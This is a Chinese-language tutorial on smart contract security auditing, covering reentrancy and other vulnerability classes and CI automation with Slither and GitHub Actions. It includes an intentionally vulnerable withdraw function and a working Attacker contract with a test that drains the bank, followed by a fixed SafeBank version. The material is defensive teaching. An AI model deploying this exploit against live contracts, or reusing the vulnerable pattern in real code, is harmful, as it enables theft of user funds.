区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建
智能合约一旦部署,往往就意味着“代码即规则”。这句话听起来很酷,但安全视角下它还有后半句:一旦写错,修复成本通常远高于传统应用。很多团队以为“合约能编译、测试能过”就差不多了,真正上线后才发现,重入、权限配置错误、价格预言机依赖、整数处理、升级代理存储冲突这些问题,随便一个都可能直接变成链上资金事故。
这篇文章我不打算只讲“有哪些漏洞”,而是从一个更实用的角度来带你走一遍:
- 怎么理解审计的核心思路;
- 怎么用一个小型合约样例识别典型漏洞;
- 怎么搭建一条自动化检测流水线;
- 怎么把“工具扫描”升级为“可持续审计流程”。
如果你已经会写 Solidity,或者至少能读懂基础合约代码,这篇内容会比较适合你。
背景与问题
智能合约安全审计和传统代码审计有几个明显不同:
- 不可逆性强:很多链上操作不可回滚;
- 资金属性强:漏洞常常直接对应资产损失;
- 攻击面独特:链上状态、外部调用、MEV、预言机、治理流程都可能成为入口;
- 执行环境约束多:Gas、EVM 语义、delegatecall、storage layout 等都很关键。
实际项目里,常见问题并不总是“高级漏洞”,反而经常是下面这些基础错误:
- 提现函数存在重入风险;
onlyOwner权限漏加;- 使用
tx.origin做鉴权; - 外部调用顺序错误;
- 代理升级后存储槽冲突;
- 依赖不可信预言机价格;
- 没有限制管理操作的时间锁或多签;
- 关键参数可被任意修改。
很多团队一开始只想“跑一遍 Slither”,然后期待工具帮忙找出所有问题。现实是:工具能帮你缩小范围,但不能代替审计推理。真正有效的做法,是把“人工分析 + 静态分析 + 动态测试 + 规则化流程”结合起来。
前置知识
阅读本文前,最好具备以下基础:
- Solidity 基础语法;
msg.sender、msg.value、call、delegatecall的基本概念;- Hardhat 或 Foundry 的基础使用;
- 知道什么是 ERC20、Ownable、Reentrancy。
如果你还没搭过环境,也不用担心,下面我会给出一套能直接跑起来的最小示例。
环境准备
本文示例使用以下工具组合:
- Node.js 18+
- Hardhat
- Solidity 0.8.x
- OpenZeppelin Contracts
- Slither
- Mythril(可选)
安装 Node 环境
mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npm install @openzeppelin/contracts
npx hardhat
选择创建一个 JavaScript 项目即可。
安装 Slither
推荐用 Python 虚拟环境安装:
python3 -m venv venv
source venv/bin/activate
pip install slither-analyzer
可选安装 Mythril
pip install mythril
核心原理
审计智能合约,我通常会按下面这条主线思考:
-
资产在哪里
谁持有资金、谁能转移资金、哪些状态变量影响资金流向。 -
权限在哪里
谁能调用关键函数,角色是否隔离,是否存在中心化风险。 -
外部依赖在哪里
是否依赖外部合约、预言机、跨合约调用、代理升级逻辑。 -
状态转换是否安全
调用前后状态是否一致,有没有可被抢跑、重入、绕过的窗口。 -
异常路径是否考虑到了
外部调用失败怎么办、转账失败怎么办、暂停机制是否可用。
可以把它理解成一个简单的审计模型:
flowchart TD
A[识别资产] --> B[梳理权限]
B --> C[分析外部调用]
C --> D[检查状态变更顺序]
D --> E[验证异常与边界条件]
E --> F[形成漏洞结论与修复建议]
常见漏洞的底层逻辑
1. 重入攻击
当合约向外部地址转账或调用外部合约时,对方可以在回调里再次进入当前合约。如果你的状态更新发生在外部调用之后,就可能被重复提取资产。
核心错误模式通常是:
- 先转账
- 后更新余额
而正确模式应该是:
- 先检查
- 再更新状态
- 最后进行外部交互
也就是经典的 Checks-Effects-Interactions。
2. 权限控制错误
尤其常见的是:
- 忘记加
onlyOwner - 管理员可直接改关键参数但没有时间锁
- 使用
tx.origin鉴权 - 合约初始化函数可被重复调用
3. 业务逻辑漏洞
这种最难靠通用工具发现。比如:
- 抵押率检查漏了某条路径;
- 清算条件计算错误;
- 手续费公式因精度问题可被套利;
- 投票权快照逻辑不严谨。
4. 升级代理风险
代理模式的关键点不只是“能升级”,而是:
- 初始化是否安全;
- 实现合约是否可被直接调用;
- storage layout 是否兼容;
- 升级权限是否足够稳妥。
审计流程长什么样
一个比较实用的安全审计流程,可以抽象成下面这样:
flowchart LR
A[阅读需求和协议文档] --> B[手工建模资产与权限]
B --> C[静态分析扫描]
C --> D[单元测试与攻击测试]
D --> E[模糊测试/符号执行]
E --> F[人工复核误报与漏报]
F --> G[形成修复建议]
G --> H[回归验证]
如果你是团队内部做持续安全检查,这条链路里最容易落地自动化的是:
- 编译检查
- 测试执行
- 静态分析
- 关键规则扫描
- 审计报告输出
实战代码(可运行)
下面我们做一个小型演示:先故意写一个存在重入漏洞的银行合约,再写攻击合约复现问题,最后再给出修复版本。
1. 漏洞合约:VulnerableBank.sol
在 contracts/VulnerableBank.sol 中写入:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "Transfer failed");
balances[msg.sender] = 0;
}
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
}
这里的漏洞非常典型:先转账,再清零余额。
2. 攻击合约:Attacker.sol
在 contracts/Attacker.sol 中写入:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IVulnerableBank {
function deposit() external payable;
function withdraw() external;
}
contract Attacker {
IVulnerableBank public bank;
address public owner;
constructor(address _bank) {
bank = IVulnerableBank(_bank);
owner = msg.sender;
}
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw();
}
}
function attack() external payable {
require(msg.sender == owner, "Not owner");
require(msg.value >= 1 ether, "Need at least 1 ether");
bank.deposit{value: 1 ether}();
bank.withdraw();
}
function collect() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
这个攻击合约在收到转账时,会通过 receive() 再次调用 withdraw(),从而反复取款。
3. 测试脚本:reentrancy.js
在 test/reentrancy.js 中写入:
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy attack demo", function () {
it("Should drain funds from VulnerableBank", async function () {
const [deployer, user, attackerEOA] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
const bank = await Bank.deploy();
await bank.waitForDeployment();
await bank.connect(user).deposit({ value: ethers.parseEther("5") });
const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
const attacker = await Attacker.deploy(await bank.getAddress());
await attacker.waitForDeployment();
await attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") });
const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
const attackerBalance = await ethers.provider.getBalance(await attacker.getAddress());
expect(bankBalance).to.equal(0n);
expect(attackerBalance).to.be.greaterThan(ethers.parseEther("1"));
});
});
运行测试:
npx hardhat test
如果环境没问题,你会看到攻击测试成功,说明合约确实能被重入抽干。
漏洞调用过程分析
为了更直观看到问题,我们用时序图表示:
sequenceDiagram
participant U as 攻击者EOA
participant A as Attacker合约
participant B as VulnerableBank
U->>A: attack(1 ether)
A->>B: deposit(1 ether)
A->>B: withdraw()
B-->>A: call 转账 1 ether
A->>B: receive() 中再次调用 withdraw()
B-->>A: 再次转账
A->>B: 重复进入直到资金耗尽
这里最危险的一点不是“用了 call”,而是外部调用发生时,余额状态还没更新。很多初学者容易误会成“call 一定不安全”,其实不完全对。call 本身是工具,关键在于你的状态变更顺序和防护机制。
修复版本
1. 使用 ReentrancyGuard + 正确顺序
在 contracts/SafeBank.sol 中写入:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "Transfer failed");
}
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
}
这里做了两件事:
- 先把用户余额置零;
- 加上
nonReentrant防护。
很多时候,只改顺序就已经能挡住这类攻击;但对于资金函数,我还是建议明确加上重入保护,代码意图更清晰,后续维护也更稳。
2. 修复测试
在 test/safeBank.js 中写入:
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("SafeBank", function () {
it("Should prevent reentrancy", async function () {
const [deployer, user, attackerEOA] = await ethers.getSigners();
const SafeBank = await ethers.getContractFactory("SafeBank", deployer);
const bank = await SafeBank.deploy();
await bank.waitForDeployment();
await bank.connect(user).deposit({ value: ethers.parseEther("5") });
const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
const attacker = await Attacker.deploy(await bank.getAddress());
await attacker.waitForDeployment();
await expect(
attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") })
).to.be.reverted;
const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
expect(bankBalance).to.equal(ethers.parseEther("5"));
});
});
运行:
npx hardhat test
自动化检测流程搭建
接下来进入这篇文章更关键的部分:怎么把审计经验流程化。
如果只是个人学习,跑几条命令就够了;但如果你希望团队内能长期执行,建议把检查拆成以下层次:
- 编译层:确保代码可编译;
- 单元测试层:验证预期逻辑;
- 安全静态扫描层:找出已知模式漏洞;
- 高风险规则层:针对项目自定义规则;
- 持续集成层:每次提交自动执行。
1. 最小自动化脚本
先在 package.json 中配置脚本:
{
"name": "contract-audit-demo",
"version": "1.0.0",
"scripts": {
"compile": "npx hardhat compile",
"test": "npx hardhat test",
"slither": "slither . --exclude-dependencies --print human-summary",
"audit:all": "npm run compile && npm run test && npm run slither"
},
"devDependencies": {
"@nomicfoundation/hardhat-toolbox": "^5.0.0",
"hardhat": "^2.22.0"
},
"dependencies": {
"@openzeppelin/contracts": "^5.0.0"
}
}
然后执行:
npm run audit:all
2. Slither 检测
直接运行:
slither . --exclude-dependencies
你一般会看到类似如下告警:
- reentrancy vulnerabilities
- low level calls
- missing zero address validation
- costly operations in loop
- dead code
这里要注意:Slither 的价值是快速提示,不是自动下结论。比如“低级调用”不等于漏洞,“可能重入”也要结合上下文分析。
3. Mythril 补充符号执行
myth analyze contracts/VulnerableBank.sol --solv 0.8.20
Mythril 更偏向路径探索和符号执行,适合辅助发现一些运行时问题。但它的速度、误报和环境兼容性有时不如静态分析稳定,所以更适合作为补充,而不是唯一依赖。
用 GitHub Actions 做持续审计
如果你的代码在 GitHub 上,最简单的自动化落地方式就是 CI。
创建 .github/workflows/security.yml:
name: Smart Contract Security Checks
on:
push:
branches: [ main, master ]
pull_request:
jobs:
security:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: 18
- name: Install Node deps
run: npm install
- name: Compile
run: npx hardhat compile
- name: Test
run: npx hardhat test
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: "3.10"
- name: Install Slither
run: pip install slither-analyzer
- name: Run Slither
run: slither . --exclude-dependencies --fail-high
这个配置做了几件很实用的事:
- 代码提交就自动编译;
- 自动执行测试;
- 自动运行 Slither;
- 如果发现高危问题,可以直接让 CI 失败。
对中小团队来说,这已经能显著减少“低级安全错误混进主分支”的概率。
逐步验证清单
实际落地时,我建议你按这个顺序执行,不容易乱:
第一步:手工过一遍核心函数
重点看:
- 存款、提款、转账、铸造、销毁;
- 管理员函数;
- 升级函数;
- 参数修改函数;
- 依赖外部合约的调用点。
第二步:画出资产流和权限流
哪怕只是纸上画一下,也很有用。很多漏洞在“看图”时比“看代码”时更明显。
第三步:跑静态工具
先看高危告警,再看中危,不要一上来处理全部提示。
第四步:写攻击测试
这一点特别重要。
如果一个问题你不能用测试复现,往往说明你对它的理解还不够深。
第五步:修复后做回归验证
- 原漏洞是否已失效;
- 正常业务是否还可用;
- 修复是否引入新的副作用。
常见坑与排查
这部分我尽量讲得接地气一点,因为很多问题真的是“工具没报,但线上会炸”。
坑 1:以为 Solidity 0.8 之后就没有整数问题了
0.8+ 默认有溢出检查,这很好,但不代表你就不用考虑:
- 精度截断;
- 除法向下取整;
- 不同 token decimals 混算;
- 手续费计算顺序错误。
排查建议:把金额计算单独写测试,尤其是边界值、极小值、极大值。
坑 2:把 onlyOwner 当成万能安全方案
onlyOwner 只是权限控制,不是治理安全。
如果 owner 私钥丢失、被盗,或者 owner 本身是单点地址,系统依然很危险。特别是这些函数:
- 修改手续费;
- 提取协议资金;
- 升级实现合约;
- 设置预言机地址。
排查建议:
- 关键操作加时间锁;
- 管理员权限走多签;
- 将紧急暂停和升级权限分离。
坑 3:工具扫不出业务漏洞
这是最典型的误区。
例如一个借贷协议中,健康因子计算少乘了一个精度参数,Slither 很可能不会直接告诉你“这里可被恶意清算”。
排查建议:
- 对业务公式建立 invariants;
- 写基于场景的攻击测试;
- 关键公式做交叉验证。
坑 4:代理合约升级后变量错位
这个坑我见过不止一次。
实现合约新增变量时,如果 storage layout 不兼容,原有状态可能被覆盖,后果非常难排查。
排查建议:
- 使用标准升级框架;
- 维护 storage gap;
- 每次升级前比较 storage layout;
- 不要随便调整变量顺序。
坑 5:以为测试通过就安全
测试只能证明“你覆盖到的场景没问题”,不能证明“所有场景都安全”。尤其是:
- 回调攻击;
- 恶意 token;
- 非标准 ERC20;
- 极端 Gas 行为;
- 多合约交互边界。
排查建议:
- 增加恶意合约测试;
- 增加 revert 场景测试;
- 对外部依赖做 mock 和异常模拟。
安全/性能最佳实践
安全和性能在链上经常是一起考虑的,因为 Gas 成本本身会影响可用性和攻击面。
安全最佳实践
1. 遵守 Checks-Effects-Interactions
在任何涉及外部调用的函数里,优先检查:
- 是否先完成参数校验;
- 是否先更新内部状态;
- 是否最后才调用外部地址。
2. 关键路径使用成熟库
例如:
OwnableAccessControlReentrancyGuardPausable
不要为了“代码短一点”手搓一套权限系统,很多事故就是从这里开始的。
3. 尽量减少信任假设
问自己几个问题:
- 预言机一定可靠吗?
- 管理员一定不会作恶吗?
- 代币一定符合 ERC20 标准吗?
- 外部合约升级后行为还一致吗?
如果答案是否定的,就需要做保护性设计。
4. 为紧急情况预留止血机制
包括但不限于:
- 暂停开关;
- 提现限速;
- 白名单恢复操作;
- 多签审批;
- 可观测告警。
性能最佳实践
1. 减少不必要的存储读写
EVM 中 SSTORE 很贵。
如果一个值可以缓存到内存变量,就不要重复从 storage 读取。
2. 避免无界循环
如果你的函数遍历一个可能无限增长的数组,那么迟早会因为 Gas 不足而不可用。
这不只是性能问题,也会变成 DoS 风险。
3. 合理拆分批处理逻辑
发奖励、结算、批量迁移等场景,不要试图在一个交易里处理所有用户。
从“工具扫描”升级到“流程审计”
如果你想把这件事做得更专业,建议从下面三个层面持续补强:
层 1:代码级规则
建立团队自己的规则清单,比如:
- 禁止
tx.origin鉴权; - 关键函数必须带事件;
- 资金函数必须有测试覆盖;
- 外部调用点必须注明风险说明。
层 2:测试级安全基线
每个项目至少补齐:
- 权限绕过测试;
- 重入攻击测试;
- 参数边界测试;
- 暂停机制测试;
- 升级兼容性测试。
层 3:流程级质量门禁
把下面几项做成 merge 前门槛:
- 编译成功;
- 单元测试通过;
- 关键攻击测试通过;
- Slither 无高危告警;
- 高权限改动需人工复核。
你可以把它理解成一个状态流转:
stateDiagram-v2
[*] --> 开发中
开发中 --> 静态扫描通过
静态扫描通过 --> 测试通过
测试通过 --> 人工复核通过
人工复核通过 --> 允许合并
静态扫描通过 --> 开发中: 发现高危
测试通过 --> 开发中: 攻击测试失败
人工复核通过 --> 开发中: 业务逻辑存疑
审计时我会重点看的问题清单
这一段你可以直接当成实战 checklist。
资产安全
- 用户资金如何进入和退出?
- 是否存在重复提取路径?
- 是否依赖外部 token 的
transfer返回值? - 提现和清算逻辑是否可被抢跑?
权限安全
- 是否有未受控的管理函数?
- 初始化函数是否只能调用一次?
- 升级权限是否过于集中?
- 是否存在角色配置遗漏?
交互安全
- 是否有外部回调风险?
- 是否依赖恶意 token 可控行为?
- 是否对外部调用失败做了处理?
- 是否存在 delegatecall 风险?
业务安全
- 价格、汇率、份额计算是否正确?
- 边界值下会不会出现 0 值、截断或溢出式损失?
- 奖励分发是否可被刷量?
- 治理流程是否可被闪电贷操纵?
总结
智能合约安全审计,真正难的地方不在“记住漏洞名称”,而在于建立一套稳定的分析框架:
- 先找资产和权限;
- 再看外部调用和状态变化;
- 用测试去复现风险;
- 用工具去放大覆盖面;
- 最后把这些动作沉淀成自动化流程。
如果你刚开始实践,我建议你先做到这 4 件事:
- 每个资金函数都写攻击测试;
- 每次提交都跑静态分析和单元测试;
- 关键权限函数统一走多签或时间锁设计;
- 对升级、预言机、回调这三类高风险点做专项检查。
最后给一个边界提醒:
自动化检测非常有用,但它更适合发现“已知模式问题”和“代码层面风险”。对于复杂 DeFi 业务逻辑、经济模型、治理攻击面,仍然需要人工建模和经验判断。也就是说,工具能帮你跑得更快,但方向还是得靠人来把握。
如果你准备把这套流程用到真实项目里,可以先从本文的最小示例开始,先把“可复现漏洞 + 可自动扫描 + 可 CI 阻断”这三件事搭起来。只要这一步走稳了,后续再扩展到模糊测试、形式化验证、升级兼容检查,就会顺畅很多。